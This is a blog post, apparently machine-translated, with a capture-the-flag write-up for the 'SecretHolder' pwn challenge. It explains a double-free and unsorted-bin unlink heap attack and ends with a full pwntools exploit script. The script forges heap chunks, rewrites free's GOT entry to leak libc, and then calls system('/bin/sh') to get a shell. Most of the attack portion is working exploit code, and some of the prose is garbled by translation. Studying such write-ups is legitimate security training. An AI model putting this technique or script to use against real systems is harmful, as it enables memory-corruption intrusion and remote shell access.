On the secret holder of PWN in attack and defense world

secret_holder

This question is attached at https://pwn-1253291247.cos.ap-chengdu.myqcloud.com/SecretHolder , not available on the website

Get the attachment. Let's check the protection mechanism of the program

Then, let's use IDA to analyze

The pointer is not cleared after free, which can cause multiple times of free

The heap can be created many times, as long as we create it after free

So, this problem, we can use unsorted bin's unlink to attack

We first create a heap of Huges, then release the heap of Huges, then create a small heap, and then create a big heap

  1. #Apply for a big chunk
  2. new(3,'a'*0x100)  
  3. delete(3)  
  4.   
  5. #Apply for a small chunk
  6. new(1,'b'*0x10)  
  7. #Apply for a medium chunk
  8. new(2,'c'*0x100)  

So, in memory, the layout of the three heaps is like this

Huge(free)

 

Small(used)

Big(used)

 

Next, we free Small and big. Then in large bin, there is the address of Huge, in fastbin, there is the address of Small. The big in unsorted bin is merged into the top block. Since the heap pointer remains, we can double free that big block. When we reapply the space of Huge, the content of Huge will be emptied due to the use of calloc, that is, the structure information of Small and big will be lost. We need to make double free for big, so we should not only fake chunk in the Small position, but also reconstruct the big structure, and forge a few fake chunks after big to bypass the inspection

  1. #Release chunk0 and chunk1
  2. delete(1)  
  3. delete(2)  
  4.   
  5. #Construct fake chunk
  6. fake_chunk = p64(0) + p64(0x21)  
  7. #fd,bk  
  8. fake_chunk += p64(huge_secret-0x18) + p64(huge_secret-0x10)  
  9. payload = fake_chunk.ljust(0x20,'\x00')  
  10. #prev_size size  
  11. payload += p64(0x20) + p64(0x90) + 'c'*0x80 #chunk2  
  12. #prev_size size  
  13. payload += p64(0x90) + p64(0x81) + 'd'*0x70 #chunk3  
  14. #prev_size size  
  15. payload += p64(0) + p64(0x81) #chunk4  
  16. #Reapply the large chunk so that the allocated location is the same as the chu
  17. new(3,payload)  

Now, the layout of the heap is like this

Huge(used)

 

Fake'u chunk1 (fake free state)

Big(free)

Fake_chunk3

Fake_chunk4

 

If we free that Big again, Big will unlink with fake'u chunk1, while fake'u chunk3 and fake'u chunk4 are to bypass the boundary check. In this way, we point the pointer of the large heap to the heap array itself, and we can control the heap pointer freely. First, we change the get table of free to the plt address of puts, so that information can be disclosed when free.

To sum up, our exp script

#coding:utf8
from pwn import *
from LibcSearcher import *

sh = process('./SecretHolder')
#sh = remote('111.198.29.45',58439)
elf = ELF('./SecretHolder')
#Address of the huge? Secret pointer
huge_secret = 0x6020A8
bss_addr = 0x602090
free_got = elf.got['free']
puts_plt = elf.plt['puts']
read_got = elf.got['read']

def new(h_type,content):
   sh.sendlineafter('3. Renew secret','1')
   sh.sendlineafter('3. Huge secret',str(h_type))
   sh.sendlineafter('Tell me your secret:',content)

def delete(h_type):
   sh.sendlineafter('3. Renew secret','2')
   sh.sendlineafter('3. Huge secret',str(h_type))

def edit(h_type,content):
   sh.sendlineafter('3. Renew secret','3')
   sh.sendlineafter('3. Huge secret',str(h_type))
   sh.sendafter('Tell me your secret:',content)

#Apply for a big chunk
new(3,'a'*0x100)
delete(3)

#Apply for a small chunk
new(1,'b'*0x10)
#Apply for a medium chunk
new(2,'c'*0x100)

#Release chunk0 and chunk1
delete(1)
delete(2)

#Construct fake chunk
fake_chunk = p64(0) + p64(0x21)
#fd,bk
fake_chunk += p64(huge_secret-0x18) + p64(huge_secret-0x10)
payload = fake_chunk.ljust(0x20,'\x00')
#prev_size size
payload += p64(0x20) + p64(0x90) + 'c'*0x80 #chunk2
#prev_size size
payload += p64(0x90) + p64(0x81) + 'd'*0x70 #chunk3
#prev_size size
payload += p64(0) + p64(0x81) #chunk4
#Reapply the large chunk so that the allocated location and chu
new(3,payload)

#unlink 3 this large bin
delete(2)
#Now, we can control three heap pointers freely. First, modify three heap pointers
payload = p64(0) * 2 + p64(free_got) + p64(bss_addr) + p64(read_got) + p32(1)*3
edit(3,payload)

#Modify free got table to put plt
edit(2,p64(puts_plt))
#Disclose read address
delete(1)
sh.recvuntil('\n')
read_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
libc = LibcSearcher('read',read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print 'libc_base=',hex(read_addr)
print 'system_addr=',hex(system_addr)
#Modify the contents of free got table and point to system
edit(2,p64(system_addr))
#Modify heap 1 pointer to / bin/sh string
edit(3,p64(0) * 2 + p64(binsh_addr))
#system("/bin/sh")
delete(2)

sh.interactive()

 

38 original articles published, praised 11, 4640 visitors
Private letter follow

Posted by sunsun on Fri, 07 Feb 2020 07:06:34 -0800